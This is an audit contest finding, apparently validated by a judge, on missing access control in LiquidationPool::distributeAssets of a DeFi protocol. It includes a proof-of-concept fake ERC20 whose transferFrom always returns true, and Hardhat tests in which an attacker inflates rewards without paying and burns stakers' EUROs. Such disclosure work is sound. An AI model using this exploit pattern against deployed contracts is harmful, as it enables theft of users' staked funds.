The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Missing access control in `LiquidationPool::distributeAssets` leads to mismanagement of rewards and burning of user's EUROs for fake asset tokens.

Summary

The function LiquidationPool::distributeAssets is assigned to distribute liquidated assets from a user's undercollateralized vault and is expected to be called by LiquidationPoolManager when a vault is liquidated with all the tokens that are accepted tokens as collateral.
But this function lags proper access control, resulting in unauthorized calling of the function with tokens that are not even accepted by the protocol thus leading to a huge loss of stakers position.

Vulnerability Details

The vulnerability lies inside the LiquidationPool contract at line 205 in the distributeAssets function due to mishandling of necessary access control checks as well as accepted tokens check.

The distributeAssets function is expected to be called from LiquidationPoolManager when a user's vault is liquidated which takes in _assets, collateralRate and _hundredPC, but due to missing access control checks it can be invoked by an attacker with fake tokens which can lead to burning of the whole amount of EUROs from all the stakers of the protocol. Thus, giving attacker the whole amount of EUROs that was staked in the protocol.

Along with that, if only NATIVE token (eth) is passed inside the _asset array parameter without actually paying the eth while calling the function will lead to mismanagement of the rewards mapping as the staker's reward will be increased but eth was not sent inside the LiquidationPool contract thus with this vulnerability attacker can drain the assets.

As well as if they pass a token with address(0) and with symbol of any of the accepted token then due to its address as adress(0) the protocol will consider it as a native token and will keep on increasing the user's rewards without actually increasing the LiquidationPool's corresponding balance of that token inside it. Thus, potentially type(uint256).max value can be supplied with that asset along with an address for chainlink address field which returns very cheaper value and it will make staker's rewards reach to very high value and the value of an individual's rewards can potentially exceed the actual asset balance of LiquidationPool. As a result of which LiquidationPool asset balance can be potentially drained by an attacker.

Thus an attacker can create deficiency of tokens inside the LiquidationPool as the rewards of user's were increased but the corresponding balance of the LiquidationPool was not increased for that token thus creating mismanagement of rewards.

Impact

Attacker can potentially:

  1. Drain the EUROs position of all stakers.

  2. Create a deficiency of tokens inside the LiquidationPool as the reward was updated but corresponding balance was not increased for that token. Thus the attacker can prevent other users from redeeming their rewards and even cause drain of all collateral asset balance of LiquidationPool.

PoC

Setup for the test:

Create a fake token contract: FraudBTCToken.sol

Create a new folder name it attackToken inside contracts and create the solidity file: FraudBTCToken.sol with the following contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract FraudBTCToken is ERC20 {
uint8 private dec;
constructor(string memory _name, string memory _symbol, uint8 _decimals) ERC20(_name, _symbol) {
dec = _decimals;
}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
return true;
}
function decimals() public view override returns (uint8) {
return dec;
}
}

Add the test in the file: test/liquidationPool.js

Run both the tests by:

yarn hardhat test test/liquidationPool --grep "Missing Access Control on Distribute Assets"
describe("Missing Access Control on Distribute Assets", () => {
it("Missing access control on Distribute Assets causes reward manipulation", async () => {
// User have both euros and tst
const initTokenAmount = ethers.utils.parseEther("10000")
await TST.mint(user1.address, initTokenAmount)
await EUROs.mint(user1.address, initTokenAmount)
await TST.connect(user1).approve(LiquidationPool.address, initTokenAmount)
await EUROs.connect(user1).approve(LiquidationPool.address, initTokenAmount)
await LiquidationPool.connect(user1).increasePosition(initTokenAmount, initTokenAmount)
fastForward(DAY)
const EthUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('ETH/USD'); // $1900
await EthUsd.setPrice("160000000000");
const initLiquidationPoolEthBalance = await ethers.provider.getBalance(LiquidationPool.address)
const nativeToken = {
token: {
symbol: ethers.utils.formatBytes32String('ETH'),
addr: "0x0000000000000000000000000000000000000000",
dec: "18",
clAddr: EthUsd.address,
clDec: "8"
},
amount: ethers.utils.parseEther("0.5")
}
const attacker = (await ethers.getSigners())[8]
// attacker calls it with native eth, but without actually sending the native eth
await LiquidationPool.connect(attacker).distributeAssets([nativeToken], "100000", "100000")
const finalLiquidationPoolEthBalance = await ethers.provider.getBalance(LiquidationPool.address)
const { _rewards } = await LiquidationPool.position(user1.address)
let ethRewardAmt = 0
for (let i in _rewards) {
const currReward = _rewards[i]
if (currReward.symbol == ethers.utils.formatBytes32String('ETH')) {
ethRewardAmt = currReward.amount
break
}
}
// now the reward of user1 increases but the Liquidation Pool eth balance is still same
expect(ethRewardAmt).greaterThan(0)
expect(finalLiquidationPoolEthBalance).to.equal(initLiquidationPoolEthBalance)
})
it("Causes burning of their EUROs token with exchange with some fraud tokens", async () => {
const initTokenAmount = ethers.utils.parseEther("100")
await TST.mint(user1.address, initTokenAmount)
await EUROs.mint(user1.address, initTokenAmount)
await EUROs.mint(user2.address, initTokenAmount)
await TST.connect(user1).approve(LiquidationPool.address, initTokenAmount)
await EUROs.connect(user1).approve(LiquidationPool.address, initTokenAmount)
await LiquidationPool.connect(user1).increasePosition(initTokenAmount, initTokenAmount)
fastForward(DAY)
// user2 increases their position
// this is done in order to consolidate the user1's stake and to do some assert equal
await EUROs.connect(user2).approve(LiquidationPool.address, initTokenAmount)
await LiquidationPool.connect(user2).increasePosition(0, initTokenAmount)
const initPosition = await LiquidationPool.position(user1.address)
expect(initPosition._position.EUROs).to.equal(initTokenAmount)
const attacker = (await ethers.getSigners())[8]
// attacker creates a fake WBTC token
// the transferFrom function inside this fraud token contract is made to just return true
const fbt = await (await ethers.getContractFactory("FraudBTCToken")).deploy('Fraud BTC Token', 'FBT', 18)
// price feeds for fbt token
const WbtcUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('WBTC/USD'); // $35,000
await WbtcUsd.setPrice("3500000000000");
const fbtAmount = ethers.utils.parseEther("100")
const fraudToken = {
token: {
symbol: ethers.utils.formatBytes32String('FBT'),
addr: fbt.address,
dec: "18",
clAddr: WbtcUsd.address,
clDec: "8"
},
amount: fbtAmount
}
// attacker calls it with fbt token which is a fake token and burns holder's EUROs amount
await LiquidationPool.connect(attacker).distributeAssets([fraudToken], "100000", "100000")
const finalPosition = await LiquidationPool.position(user1.address)
expect(finalPosition._position.EUROs).to.equal(0)
})
})

Tools Used

Manual Review

Recommendations

Add the necesary access control on the LiquidationPool::distributeAssets function for only the LiquidationPoolManager can invoke it.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.